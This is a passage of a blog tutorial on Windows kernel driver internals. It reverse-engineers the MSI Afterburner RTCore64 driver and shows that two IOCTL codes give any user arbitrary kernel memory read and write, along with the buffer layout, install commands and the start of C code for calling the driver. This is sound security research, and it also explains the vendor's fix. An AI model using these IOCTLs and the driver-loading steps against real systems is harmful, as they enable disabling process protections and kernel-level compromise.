  <span class="n">DriverObject</span><span class="o">-&gt;</span><span class="n">DriverUnload</span> <span class="o">=</span> <span class="n">DriverUnload</span><span class="p">;</span>
  <span class="c1">//...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Another crucial aspect of initialization involves the major functions. The <code class="language-plaintext highlighter-rouge">MajorFunction</code> field is an array of function pointers that handle various types of IRPs. For instance, a major function with the code <code class="language-plaintext highlighter-rouge">IRP_MJ_CREATE</code> would handle IRP requests related to file open or create operations. If a driver is utilizing a symbolic link, it should always set handlers for <code class="language-plaintext highlighter-rouge">IRP_MJ_CREATE</code> and <code class="language-plaintext highlighter-rouge">IRP_MJ_CLOSE</code> since these will be executed whenever a user-mode application opens or closes a handle to the device.</p>

<p>Another major function worth noting for our purposes is <code class="language-plaintext highlighter-rouge">IRP_MJ_DEVICE_CONTROL</code> , which handles I/O requests.</p>

<p>Instead of defining multiple handler functions, it is also possible to assign a single handler function to handle all types of IRPs, processing the requests based on the Major code extracted from the IRP request. The numerical values of the major codes, which correspond to the indexes in the MajorFunction vector, can be found here: <a href="https://github.com/LordNoteworthy/windows-internals/blob/master/IRP%20Major%20Functions%20List.md">IRP Major Function List</a></p>

<p>Below, you’ll find an example of a <code class="language-plaintext highlighter-rouge">DriverEntry</code> function:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NTSTATUS</span> <span class="nf">DriverEntry</span><span class="p">(</span><span class="n">PDRIVER_OBJECT</span> <span class="n">DriverObject</span><span class="p">,</span> <span class="n">PUNICODE_STRING</span> <span class="n">RegistryPath</span><span class="p">)</span>
<span class="p">{</span>
    <span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
    <span class="n">NTSTATUS</span> <span class="n">Status</span> <span class="o">=</span> <span class="n">STATUS_UNSUCCESSFUL</span><span class="p">;</span>
    <span class="n">UNICODE_STRING</span> <span class="n">DeviceName</span><span class="p">,</span> <span class="n">DosDeviceName</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>

    <span class="n">UNREFERENCED_PARAMETER</span><span class="p">(</span><span class="n">RegistryPath</span><span class="p">);</span>

    <span class="n">RtlInitUnicodeString</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DeviceName</span><span class="p">,</span> <span class="s">L"</span><span class="se">\\</span><span class="s">Device</span><span class="se">\\</span><span class="s">MyDriver"</span><span class="p">);</span>
    <span class="n">RtlInitUnicodeString</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DosDeviceName</span><span class="p">,</span> <span class="s">L"</span><span class="se">\\</span><span class="s">DosDevices</span><span class="se">\\</span><span class="s">MyDriver"</span><span class="p">);</span>

<span class="c1">// Create the Device Object</span>
    <span class="n">Status</span> <span class="o">=</span> <span class="n">IoCreateDevice</span><span class="p">(</span>
        <span class="n">DriverObject</span><span class="p">,</span>
        <span class="mi">0</span><span class="p">,</span>
        <span class="o">&amp;</span><span class="n">DeviceName</span><span class="p">,</span>
        <span class="n">FILE_DEVICE_UNKNOWN</span><span class="p">,</span> 
        <span class="n">FILE_DEVICE_SECURE_OPEN</span><span class="p">,</span>
        <span class="n">FALSE</span><span class="p">,</span>
        <span class="o">&amp;</span><span class="n">DeviceObject</span>
    <span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">NT_SUCCESS</span><span class="p">(</span><span class="n">Status</span><span class="p">))</span>
    <span class="p">{</span>
        <span class="n">DbgPrint</span><span class="p">(</span><span class="s">"[-] Error Initializing Driver</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="k">return</span> <span class="n">Status</span><span class="p">;</span>
    <span class="p">}</span>

<span class="c1">// Executes when driver is unloaded</span>
    <span class="n">DriverObject</span><span class="o">-&gt;</span><span class="n">DriverUnload</span> <span class="o">=</span> <span class="n">DriverUnloadHandler</span><span class="p">;</span>

<span class="c1">// Routines CREATE and CLOSE execute when a handle to the drivers symbolic link is opened/closed</span>
    <span class="n">DriverObject</span><span class="o">-&gt;</span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">IRP_MJ_CREATE</span><span class="p">]</span> <span class="o">=</span> <span class="n">IrpCreateCloseHandler</span><span class="p">;</span>
    <span class="n">DriverObject</span><span class="o">-&gt;</span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">IRP_MJ_CLOSE</span><span class="p">]</span> <span class="o">=</span> <span class="n">IrpCreateCloseHandler</span><span class="p">;</span>

<span class="c1">// Handle I/O requests from userland</span>
    <span class="n">DriverObject</span><span class="o">-&gt;</span><span class="n">MajorFunction</span><span class="p">[</span><span class="n">IRP_MJ_DEVICE_CONTROL</span><span class="p">]</span> <span class="o">=</span> <span class="n">IrpDeviceIoCtlHandler</span><span class="p">;</span>

<span class="c1">// Create symbolic link so users can interact with the device</span>
    <span class="n">Status</span> <span class="o">=</span> <span class="n">IoCreateSymbolicLink</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DosDeviceName</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">DeviceName</span><span class="p">);</span>

    <span class="k">return</span> <span class="n">Status</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>When a user makes a request to the driver, they need to send an IRP packet. Windows provides specific APIs for each type of IRP. For example, the Windows API <code class="language-plaintext highlighter-rouge">CreateFile</code> sends an IRP packet of type <code class="language-plaintext highlighter-rouge">IRP_MJ_CREATE</code>, while the API <code class="language-plaintext highlighter-rouge">DeviceIoControl</code> sends an IRP packet of type <code class="language-plaintext highlighter-rouge">IRP_MJ_DEVICE_CONTROL</code>.</p>

<p>The IRP packet of type <code class="language-plaintext highlighter-rouge">IRP_MJ_DEVICE_CONTROL</code> should also include an I/O Control (IOCTL) code, which represents the requested functionality. Similar to how DLLs have functions that applications can call by name, drivers have routines that can be requested based on their IOCTL code. However, unlike DLLs, these codes are not exported. Instead, they are hardcoded both in the driver and in the user-mode application that communicates with it.</p>

<p>In the handler functions within the driver, a common approach is to use a switch statement to check the IOCTL code sent in the IRP packet (although if/else also can be used). Based on the specific code, the corresponding case block is executed to perform the requested functionality.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">switch</span> <span class="p">(</span><span class="n">IOCTL</span><span class="p">){</span>
<span class="k">case</span> <span class="mh">0x80002014</span><span class="p">:</span>
     <span class="c1">// Do X</span>
<span class="k">case</span> <span class="mh">0x80002010</span><span class="p">:</span>
    <span class="c1">// Do Y</span>
<span class="nl">default:</span>
    <span class="c1">// Do Z</span>
<span class="p">}</span>
</code></pre></div></div>

<p>IOCTLs are not just arbitrary numbers; they are 32-bit values with multiple fields that have a significant impact on how the driver handles the IRP. These fields within the IOCTL value play a crucial role in determining the behavior of the driver. They include the device type, function code, access mode, transfer type, and transfer size. By examining these fields, the driver can accurately interpret the purpose of the IOCTL and execute the corresponding code logic.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/ioctl_structure.png" alt="IOCTL Structure" class="align-center" /><br />
(Image source: <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/defining-i-o-control-codes">https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/defining-i-o-control-codes</a>)</p>

<p>When examining IOCTLs, it’s important to consider the specific fields that compose the value.</p>

<p><code class="language-plaintext highlighter-rouge">DeviceType</code> - this field has reserved values below 0x8000 for Microsoft, while values starting from 0x8000 and higher are typically assigned to third-party vendors. The “common” bit is part of the device type and is set for vendor-assigned types, resulting in a value of 0x8000. This is according to the documentation, but people can choose not to follow it.</p>

<p><code class="language-plaintext highlighter-rouge">RequiredAccess</code> - indicates the access rights the caller should request when opening the file object representing the device. It can take the following values:</p>

<p>00 (FILE_ANY_ACCESS) - The IRP is sent if the caller has any access rights.<br />
01 (FILE_READ_DATA) - The IRP is sent if the caller has read-access rights.<br />
10 (FILE_WRITE_DATA) - The IRP is sent if the caller has write-access rights.<br />
11 (FILE_READ_DATA and FILE_WRITE_DATA ) - Both read and write access rights are required for the IRP to be processed.</p>

<p><code class="language-plaintext highlighter-rouge">FunctionCode</code> - specifies the specific function to be called. Values below 0x800 are reserved for Microsoft, while values at or above 0x800 (when the Custom bit is set) can be used by third-party vendors. Again, this is according to the documentation, which may not be followed.</p>

<p><code class="language-plaintext highlighter-rouge">TransferType</code> - determines how the operating system passes data between the caller and the driver handling the IRP. There are four transfer types:</p>

<p>11 (METHOD_NEITHER) – data is passed in user-defined input and output buffers without any checks on the buffers or their size. The user application allocates memory in its own address space in userland and sends pointers to the buffers in the IRP. Upon receiving the IRP packet, the driver can read data from the input buffer and write data to the output buffer. The user application then retrieves the driver’s response from the output buffer. It’s important to note that this method carries a potential risk, as the pointers sent by the user are entirely under their control. Without proper validation on the driver side, the driver may inadvertently read from or write to sensitive system memory.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Input buffer is accessed from:</span>
<span class="n">IRP</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">Type3InputBuffer</span>
<span class="c1">// Input buffer length</span>
<span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">InputBufferLength</span>
<span class="c1">// Output buffer accessed from:</span>
<span class="n">IRP</span><span class="o">-&gt;</span><span class="n">UserBuffer</span>
<span class="c1">// Output buffer length</span>
<span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">OutputBufferLength</span>
</code></pre></div></div>
<p>00 (METHOD_BUFFERED) – the OS copies the input/output buffers and their length to kernel land. In this case, new pointers are set in the IRP packet, reducing the level of control the user has over the buffers. On the driver side, a single buffer is used for both input and output operations. With this transfer type, the input and output buffers are securely managed by the kernel, mitigating the risk associated with direct user control over the buffers. This approach ensures safer data transfer between the user application and the driver, minimizing potential vulnerabilities.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Input &amp; Output buffer:</span>
<span class="n">IRP</span><span class="o">-&gt;</span><span class="n">AssociatedIrp</span><span class="p">.</span><span class="n">SystemBuffer</span>
<span class="c1">// Length of input buffer</span>
<span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">InputBufferLength</span>
<span class="c1">// Length of output buffer</span>
<span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">OutputBufferLength</span>
</code></pre></div></div>

<p>01 or 10 (METHOD_IN_DIRECT or METHOD_OUT_DIRECT) – in these cases, the input buffer is allocated as METHOD_BUFFERED, while the second buffer is a user-supplied buffer. However, the operating system performs certain checks and locks the memory before assigning it to the IRP. Depending on the selected transfer method, the second buffer can be utilized as either an input or output buffer.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Input buffer:</span>
<span class="n">IRP</span><span class="o">-&gt;</span><span class="n">AssociatedIrp</span><span class="p">.</span><span class="n">SystemBuffer</span>
<span class="c1">// Input buffer length</span>
<span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">InputBufferLength</span>
<span class="c1">// Second buffer:</span>
<span class="n">IRP</span><span class="o">-&gt;</span><span class="n">MdlAddress</span>
<span class="c1">// Second buffer length</span>
<span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">OutputBufferLength</span>
</code></pre></div></div>

<p>An example how a userland application would send IRP of type <code class="language-plaintext highlighter-rouge">IRP_MJ_DEVICE_CONTROL</code> to a driver:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// IOCTL = 0x80002048</span>
<span class="c1">// last bits are 00 – METHOD_BUFFERED</span>
<span class="c1">// access bits are 00 - FILE_ANY_ACCESS</span>
<span class="c1">// Function code - 0x812</span>
<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDevice</span><span class="p">,</span> <span class="mh">0x80002048</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">input_buffer</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">input_buffer</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">output_buffer</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">output_buffer</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span>
</code></pre></div></div>

<p>Some of the important IRP fields that the driver can access when it receives the packet are:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// contains the IOCTL code sent by the userland application</span>
<span class="n">IRP</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">IoControlCode</span>
<span class="c1">// The driver sets this NTSTATUS value to the result code of the IOCTL function (success or failure)</span>
<span class="n">IRP</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Status</span>
<span class="c1">// Depends on the type of IRP and whether it succeeded or failed. If operation involves data transfer, it is set to the number of bytes to be transfered</span>
<span class="n">IRP</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Information</span>
<span class="c1">// Structure containing various important fields for the IRP</span>
<span class="n">IRP</span><span class="o">-&gt;</span><span class="n">Tail</span><span class="p">.</span><span class="n">Overlay</span><span class="p">.</span><span class="n">CurrentStackLocation</span>
<span class="c1">// contains the Major code corresponding to the type of IRP</span>
<span class="n">CurrentStackLocation</span><span class="o">-&gt;</span><span class="n">MajorFunction</span>
</code></pre></div></div>

<p>After the driver has finished handling the IRP, it calls <code class="language-plaintext highlighter-rouge">IoCompleteRequest</code> function to return the IRP back to the operating system. This allows the client application to receive the result of the operation and proceed with its execution.</p>

<p>Now, let’s take a look at what a handler function typically looks like:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define IOCTL_METHOD_BUFFERED 0x80002018 // and FILE_ANY_ACCESS
#define IOCTL_METHOD_NEITHER  0x80006013  // and FILE_READ_ACCESS
</span>
<span class="n">NTSTATUS</span> <span class="nf">IrpDeviceIoCtlHandler</span><span class="p">(</span><span class="n">PDEVICE_OBJECT</span> <span class="n">DeviceObject</span><span class="p">,</span> <span class="n">PIRP</span> <span class="n">Irp</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">//...  declaration of variables irpSp, ntStatus, inBufLength, data, datalen, buffer, etc.</span>

    <span class="n">UNREFERENCED_PARAMETER</span><span class="p">(</span><span class="n">DeviceObject</span><span class="p">);</span>
    <span class="n">irpSp</span> <span class="o">=</span> <span class="n">IoGetCurrentIrpStackLocation</span><span class="p">(</span> <span class="n">Irp</span> <span class="p">);</span>
    <span class="n">inBufLength</span> <span class="o">=</span> <span class="n">irpSp</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">InputBufferLength</span><span class="p">;</span>
    <span class="n">outBufLength</span> <span class="o">=</span> <span class="n">irpSp</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">OutputBufferLength</span><span class="p">;</span>

    <span class="k">switch</span> <span class="p">(</span> <span class="n">irpSp</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">IoControlCode</span> <span class="p">)</span>
    <span class="p">{</span>
    <span class="k">case</span> <span class="n">IOCTL_METHOD_BUFFERED</span><span class="p">:</span>
        <span class="n">inBuf</span> <span class="o">=</span> <span class="n">Irp</span><span class="o">-&gt;</span><span class="n">AssociatedIrp</span><span class="p">.</span><span class="n">SystemBuffer</span><span class="p">;</span>
        <span class="n">outBuf</span> <span class="o">=</span> <span class="n">Irp</span><span class="o">-&gt;</span><span class="n">AssociatedIrp</span><span class="p">.</span><span class="n">SystemBuffer</span><span class="p">;</span>
        <span class="n">RtlCopyBytes</span><span class="p">(</span><span class="n">outBuf</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">outBufLength</span><span class="p">);</span>
        
<span class="c1">// If the data length is smaller than the size of the output buffer, the bytes to be transfered should be set to the size of datalen.</span>
<span class="c1">// Otherwise if datalen is smaller, and outBufLength bytes are returned, the driver will also copy uninitialized kernel memory, which may contain sensitive data</span>
        <span class="n">Irp</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Information</span> <span class="o">=</span> <span class="p">(</span><span class="n">outBufLength</span><span class="o">&lt;</span><span class="n">datalen</span><span class="o">?</span><span class="n">outBufLength</span><span class="o">:</span><span class="n">datalen</span><span class="p">);</span>
        <span class="k">break</span><span class="p">;</span>

    <span class="k">case</span> <span class="n">IOCTL_METHOD_NEITHER</span><span class="p">:</span>
        <span class="n">inBuf</span> <span class="o">=</span> <span class="n">irpSp</span><span class="o">-&gt;</span><span class="n">Parameters</span><span class="p">.</span><span class="n">DeviceIoControl</span><span class="p">.</span><span class="n">Type3InputBuffer</span><span class="p">;</span>
        <span class="n">outBuf</span> <span class="o">=</span>  <span class="n">Irp</span><span class="o">-&gt;</span><span class="n">UserBuffer</span><span class="p">;</span>
		<span class="c1">//... memory safety checks ...</span>
        <span class="n">RtlCopyBytes</span><span class="p">(</span><span class="n">buffer</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">outBufLength</span><span class="p">);</span>
        <span class="n">Irp</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Information</span> <span class="o">=</span> <span class="p">(</span><span class="n">outBufLength</span><span class="o">&lt;</span><span class="n">datalen</span><span class="o">?</span><span class="n">outBufLength</span><span class="o">:</span><span class="n">datalen</span><span class="p">);</span>
        <span class="k">break</span><span class="p">;</span>
		
<span class="c1">// ... other switch cases with IOCTLS ...</span>
    <span class="nl">default:</span>
        <span class="n">ntStatus</span> <span class="o">=</span> <span class="n">STATUS_INVALID_DEVICE_REQUEST</span><span class="p">;</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">Irp</span><span class="o">-&gt;</span><span class="n">IoStatus</span><span class="p">.</span><span class="n">Status</span> <span class="o">=</span> <span class="n">ntStatus</span><span class="p">;</span>
    <span class="n">IoCompleteRequest</span><span class="p">(</span> <span class="n">Irp</span><span class="p">,</span> <span class="n">IO_NO_INCREMENT</span> <span class="p">);</span>
    <span class="k">return</span> <span class="n">ntStatus</span><span class="p">;</span>
<span class="p">}</span>

</code></pre></div></div>

<h1 id="3-securing-access-to-drivers">3. Securing access to drivers</h1>
<hr />
<p>When a driver creates its device object using <code class="language-plaintext highlighter-rouge">IoCreateDevice</code>, by default, the access to the driver is unrestricted, allowing anyone to send requests to it (if a symbolic link is also present). However, since drivers may provide powerful functionality that can be misused by unprivileged users, it is advisable to secure access in some way.</p>

<p>One common approach to securing access is by setting an Access Control List (ACL) defined with a Security Descriptor Definition Language (SDDL) string, which allows specific access only to certain user groups. There are a few ways to accomplish this:</p>
<ul>
  <li>Using an INF file supplied by the driver installer: The driver installer can include an INF file that specifies the desired ACL and sets the appropriate access restrictions during installation.</li>
  <li>Setting the ACL in the registry: The driver installer can also configure the ACL in the registry, ensuring that the access restrictions are applied when the driver is loaded.</li>
  <li>Using <code class="language-plaintext highlighter-rouge">IoCreateDeviceSecure</code>: Instead of <code class="language-plaintext highlighter-rouge">IoCreateDevice</code>, the driver can use <code class="language-plaintext highlighter-rouge">IoCreateDeviceSecure</code>, which accepts the SDDL string as an argument during device object creation. This allows the SDDL string to be hard-coded in the driver itself, ensuring access is granted only to specific user groups, such as Administrators.</li>
</ul>

<p>The first two methods are not relevant if an attacker loads the driver manually without using the installer, making the third method the most secure access control.</p>

<p>Furthermore, during runtime, more fine-grained control over which users can request specific IOCTLs can be enforced using the <code class="language-plaintext highlighter-rouge">IoValidateDeviceIoControlAccess</code> function. This allows the driver to validate the access rights of the calling user before processing the IOCTL request.</p>

<p>We now have the necessary knowledge to delve into the driver’s internals and analyze the vulnerabilities it has.</p>

<h1 id="4-analyzing-rtcore64">4. Analyzing RTCore64</h1>
<hr />
<p>To download and install the driver, follow the steps outlined in <a href="https://github.com/itm4n/PPLcontrol">PPLControl</a> repository.<br />
You can download the driver itself from the <a href="https://github.com/RedCursorSecurityConsulting/PPLKiller/tree/master/driver">PPLKiller</a> repo. Note that we will focus on the 64-bit version of the driver.<br />
Once downloaded, you can install the driver by executing the following commands as an administrator:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sc.exe create RTCore64 type= kernel start= auto binPath= C:\PATH\TO\RTCore64.sys DisplayName= "Micro - Star MSI Afterburner"
net start RTCore64
</code></pre></div></div>
<p>To check the privileges required to interact with the driver, you can use the tool <a href="https://github.com/k4nfr3/ioctl_tools">DeviceTree</a>. The screenshot below shows that everyone has full access to the driver.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/devicetree.png" alt="Device Tree" class="align-center" /></p>

<p>Analyzing the driver in Ghidra, we encounter code that is not very clear, likely due to missing symbols and improper function and variable types. This code should be the <code class="language-plaintext highlighter-rouge">DriverEntry</code> function.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/Ghidra_0.png" alt="Ghidra analysis 1" class="align-center" /></p>

<p>To add the necessary type information, follow these steps:</p>
<ol>
  <li>Download the file ntddk_64.gdt from this repository: <a href="https://github.com/0x6d696368/ghidra-data/tree/master/typeinfo">https://github.com/0x6d696368/ghidra-data/tree/master/typeinfo</a></li>
  <li>In Ghidra’s Data Type Manager window, click the arrow next to “Data Type Manager,” select “Open File Archive,” and choose the downloaded ntddk_64.gdt file.</li>
  <li>Right-click on ntddk_64 in the Data Type Manager window, select “Apply Function Data Types,” and Ghidra should update some parts of the code with proper types.</li>
</ol>

<p>After changing the types of known variables, such as the argument of <code class="language-plaintext highlighter-rouge">DriverEntry</code> (which should be <code class="language-plaintext highlighter-rouge">PDRIVER_OBJECT</code>), the code becomes more recognizable. With a few more touches, the code becomes very readable, as shown below.</p>

<p>We can see the driver uses <code class="language-plaintext highlighter-rouge">IoCreateDevice</code> instead of <code class="language-plaintext highlighter-rouge">IoCreateDeviceSecure</code>, which is why everyone had full access to the device.<br />
Additionally, there is a single handler function for IRP major codes <a href="https://github.com/LordNoteworthy/windows-internals/blob/master/IRP%20Major%20Functions%20List.md">IRP_MJ_CREATE, IRP_MJ_CLOSE and IRP_MJ_DEVICE_CONTROL</a>.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/Ghidra_1.png" alt="Ghidra analysis 2" class="align-center" /></p>

<p>Now lets check the code for the handler function which is in the next screenshot.<br />
Some lines of code were still not decompiled correctly. For example like <code class="language-plaintext highlighter-rouge">Power.ShutdownType</code> (which from my educated guess should be the BufferLength) or <code class="language-plaintext highlighter-rouge">QueryDirectory.FileIndex</code>. I tried to set the proper type manually but for some reason it didn’t work.</p>

<p>The function handles different IRP types, so there is an IF checking the Major code and if it is of type <code class="language-plaintext highlighter-rouge">IRP_MJ_DEVICE_CONTROL</code> we enter a large switch statement which checks the recieved IOCTL code.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/Ghidra_2.png" alt="Ghidra analysis 3" class="align-center" /></p>

<p>The IOCTL codes used by PPLControl are <code class="language-plaintext highlighter-rouge">0x80002048</code> and <code class="language-plaintext highlighter-rouge">0x8000204c</code> so lets go straight to them. The next screenshot shows the code for IOCTL <code class="language-plaintext highlighter-rouge">0x80002048</code> where I already renamed the important variables.</p>

<p>In this code, we can observe several checks that provide hints about the variables’ meanings:</p>
<ol>
  <li>The check for <code class="language-plaintext highlighter-rouge">0x30</code> suggests that it represents the buffer length, as later in the code, <code class="language-plaintext highlighter-rouge">0x30</code> is assigned to <code class="language-plaintext highlighter-rouge">IRP-&gt;IoStatus.Information</code>, specifying the number of bytes to be returned.</li>
  <li>The comparison of the value at the 8th byte of the <code class="language-plaintext highlighter-rouge">SystemBuffer</code> structure to a NULL pointer suggests that it is likely an address.</li>
  <li>Inside some if/elseif blocks, the value at byte <code class="language-plaintext highlighter-rouge">0x14</code> is added to the address, and the resulting value is dereferenced. This indicates a reading operation from an address, with the value at <code class="language-plaintext highlighter-rouge">0x14</code> being an offset from the supplied address.</li>
  <li>The conditions of the if/elseif statements compare the value at offset <code class="language-plaintext highlighter-rouge">0x18</code> in the <code class="language-plaintext highlighter-rouge">SystemBuffer</code> to 1, 2, or 4. The dereferenced expressions inside these conditions are cast to byte, ushort, or ulonglong, respectively. This suggests that the value at <code class="language-plaintext highlighter-rouge">0x18</code> of the <code class="language-plaintext highlighter-rouge">SystemBuffer</code> structure represents the size to be read.</li>
</ol>

<p>If the IOCTL completes successfully, <code class="language-plaintext highlighter-rouge">IRP-&gt;IoStatus.Status</code> is set to 0 (succcess) and the <code class="language-plaintext highlighter-rouge">IRP-&gt;IoStatus.Information</code> is set to <code class="language-plaintext highlighter-rouge">0x30</code> to return the whole buffer.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/Ghidra_3.png" alt="Ghidra analysis 4" class="align-center" /></p>

<p>The IOCTL accepts a buffer of <code class="language-plaintext highlighter-rouge">0x30</code> bytes, which corresponds to the following structure. In this structure, the calling application specifies an address and the number of bytes to be read from that address. The driver reads the value from the address, writes it back in the structure, and returns it. This allows an arbitrary read functionality with kernel-level privileges which can be requested by everyone.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">RTC64</span> <span class="p">{</span>
	<span class="n">BYTE</span> <span class="n">Unknown0</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>  <span class="c1">// offset 0x00</span>
	<span class="n">DWORD64</span> <span class="n">Address</span><span class="p">;</span>   <span class="c1">// offset 0x08</span>
	<span class="n">BYTE</span> <span class="n">Unknown1</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>  <span class="c1">// offset 0x10</span>
	<span class="n">DWORD</span> <span class="n">Offset</span><span class="p">;</span>      <span class="c1">// offset 0x14</span>
	<span class="n">DWORD</span> <span class="n">Size</span><span class="p">;</span>        <span class="c1">// offset 0x18</span>
	<span class="n">DWORD</span> <span class="n">Value</span><span class="p">;</span>       <span class="c1">// offset 0x1c</span>
	<span class="n">BYTE</span> <span class="n">Unknown2</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span> <span class="c1">// offset 0x20</span>
<span class="p">};</span>
</code></pre></div></div>

<p>The next IOCTL <code class="language-plaintext highlighter-rouge">0x8000204c</code> looks almost the same but the expression inside the if/elseif body is reversed. The value at field <code class="language-plaintext highlighter-rouge">0x1c</code> gets assigned to the address (field 0x14 + Address), meaning this is a write operation. Therefore, this IOCTL provides arbitray write capability with kernel privileges.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/Ghidra_4.png" alt="Ghidra analysis 5" class="align-center" /></p>

<p>Now, let’s examine how this vulnerability was fixed in the latest version of MSI Afterburner. The <code class="language-plaintext highlighter-rouge">DriverEntry</code> function now uses <code class="language-plaintext highlighter-rouge">IoCreateDeviceSecure</code> with an SDDL string that grants <code class="language-plaintext highlighter-rouge">GENERIC_ALL</code> access to the device only for the SYSTEM account and members of the Administrators group. Other users cannot interact with the device.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/Ghidra_5.png" alt="Ghidra analysis 6" class="align-center" /></p>

<p>The handling of the IRP also includes additional checks. The value at field 0x2c is used as an index to an array of addresses, and the address sent from the user application must be found in this array at that index. This prevents the use of arbitrary addresses.</p>

<p><img src="https://idafchev.github.io/blog/assets/images/driver_vulnerability/Ghidra_6.png" alt="Ghidra analysis 7" class="align-center" /></p>

<h1 id="5-interacting-with-rtcore64">5. Interacting with RTCore64</h1>
<hr />
<p>To begin exploring how tools like PPLKiller work, we need to write a simple program that can interact with the vulnerable driver using the provided IOCTLs. The code provided here is based on the PPLControl source code, but adapted for C without using objects.</p>

<p>First, let’s define the necessary IOCTL codes, the device name, and the structure used for the buffer:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define RTC64_DEVICE_NAME_W L"RTCore64"
</span>
<span class="cp">#define RTC64_IOCTL_MEMORY_READ 0x80002048
#define RTC64_IOCTL_MEMORY_WRITE 0x8000204c
</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="n">RTC64_MEMORY_STRUCT</span> <span class="p">{</span>
	<span class="n">BYTE</span> <span class="n">Unknown0</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>  <span class="c1">// offset 0x00</span>
	<span class="n">DWORD64</span> <span class="n">Address</span><span class="p">;</span>   <span class="c1">// offset 0x08</span>
	<span class="n">BYTE</span> <span class="n">Unknown1</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>  <span class="c1">// offset 0x10</span>
	<span class="n">DWORD</span> <span class="n">Offset</span><span class="p">;</span>      <span class="c1">// offset 0x14</span>
	<span class="n">DWORD</span> <span class="n">Size</span><span class="p">;</span>        <span class="c1">// offset 0x18</span>
